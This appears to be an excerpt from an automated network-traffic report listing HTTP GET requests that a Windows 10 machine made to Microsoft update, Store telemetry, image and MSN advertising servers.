Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWyZtI?ver=8776 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWyRpK?ver=14fb HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEJpJ?ver=c97d HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEtez?ver=148f HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202408Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202410Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202410Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202411Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202412Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202413Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202414Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202414Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202415Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202416Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202417Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202418Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T202419Z&asid=d4d83f7d0cba40d2856d864ae1ad5979&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202423Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202424Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202430Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202431Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202431Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202432Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202434Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202434Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T202435Z&asid=1caaf4d619b544a9b17e045f5f8ff054&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202459Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e5d5147a5d347c7863f26c65c55cfd7&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-310091&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAfdA1xk8TwlI2MCPPrHztgczXy73+7qm8bqjx/Fnq99aLKuaD++BXz9m28mjOcm06bCgb5X+lXu66UdwbU0BfYQ+hxUvbqMxrJfe1ER0c1amazdvK9Nh2jIwqBH+QvudNEaBhLzfS8t0vZxJAPLKUJVusDlJ6tcwAWQQWJ30M2pLEgjytmteAdaXkkNRV5tSQsFjmvBVVC3X6xb45dL4JG1hp+Vu8DOA4ku7E1DMMd1+x44ZrqrJFz4cnrwa9stLZo9Ar1mLzhxJqRmYaB5tb72kxU1aoSu29gRNjmDKHYT9TEhkW4+WBl0pREFyUUBV56UXzfydOV4oM/zuiHG2kJADZgAACA7TdZOVwXS4qAEHnsOxASwVdijDjsH7aRL+a+CPfRMgVzbxa8JH0HjMwtwsYp+bj12s2WK2iZJ4I9q8DlJY9AmvZhKLld0TeJVl+pHFwpxuKFct5jCePZcITBD2/DpdZbU10LzyfWA2NDb296g+Hwd6kfyZ5eLmjwkz0uM51s75lBupNxLhkTP/TP+5W7OaugADwmCvwui8mNWrlhRw1UR3spAxIH05CFTb2P9m8F2HgQTRo72rN5vy6LSWuFiyjgwD/xHrOTEoizkFp1p0PgMkry3JVqoWqxnQHmFNScJf7VMe8ezfUB17si/OeVwJYcbfN3FdWNI8+1np/NgXzpE0UZYlZ2cEGOGPno5YTb/LW3c1rmbluDfIzGWbR6H8SETWSUnjra00LixEYIeALYnGo+vvwaFnhvcWykAn76dZZLYupJZ58BXm5mhEl6dQEjAqlm64R8sixvCMyDyiYScs41UgQmMRVZybkS1qxRofQ4FuLy7TARK37nBw8prL7pGlVNImlqQHsUfWAzm1Ga+PtZ9q6ri8yIqPdy8H9cYXlUDrSmnSHpbQQSAgSTmeXkDX1gE=&p=Cache-Control: no-cacheMS-CV: QKkByyXmXkeuC6BU.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
